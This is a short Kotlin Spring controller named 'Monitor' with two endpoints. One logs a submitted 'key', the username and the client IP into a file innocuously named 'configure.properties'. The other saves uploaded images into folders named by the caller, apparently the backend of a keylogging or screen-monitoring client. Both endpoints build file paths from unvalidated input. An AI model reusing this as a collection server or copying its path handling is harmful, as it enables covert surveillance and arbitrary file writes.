package com.github.fuckcpp.Control

import org.springframework.stereotype.Controller
import org.springframework.web.bind.annotation.PostMapping
import org.springframework.web.bind.annotation.RequestMapping
import org.springframework.web.bind.annotation.RequestMethod
import org.springframework.web.bind.annotation.ResponseBody
import org.springframework.web.multipart.MultipartFile
import java.io.File
import java.nio.file.Files
import java.nio.file.Paths
import java.nio.file.StandardOpenOption
import java.util.*
import javax.servlet.http.HttpServletRequest

@Controller
@RequestMapping("/User")
@ResponseBody
class Monitor
{



    @PostMapping("/Key")
    @Throws(Exception::class)
    public fun Transferkey(key: String, username: String, req: HttpServletRequest)
    {
     val log="IP:"+req.remoteAddr+"   name:"+username+"   KEY:"+key+"   Date:"+Date()+"\n"
        if (!File(username).exists()
        )
        {
            Files.createDirectory(Paths.get(username))
            Files.write(Paths.get(username + File.separator + "configure.properties"), log.toByteArray(), StandardOpenOption.CREATE, StandardOpenOption.APPEND)

        }
        Files.write(Paths.get(username + File.separator + "configure.properties"), log.toByteArray(), StandardOpenOption.CREATE, StandardOpenOption.APPEND)
        println(log)

    }

    @PostMapping("/upload")
    @Throws(Exception::class)
    fun Uploadimg(request: HttpServletRequest, image: MultipartFile,name:String,req:HttpServletRequest) {
        // 使用fileupload组件完成文件上传
         // 上传的位置
        val path = request.session.servletContext.getRealPath(File.separator+name+File.separator+"image")
        println(path)

        val file = File(path)
        if (!file.exists()) {
            // 创建该文件夹
            file.mkdirs()
        }

        // 说明上传文件项
        // 获取上传文件的名称
        println("[INFO] path:"+path+image.originalFilename+"")
        var filename = image.originalFilename
        image.transferTo(File(path, filename))

    }


}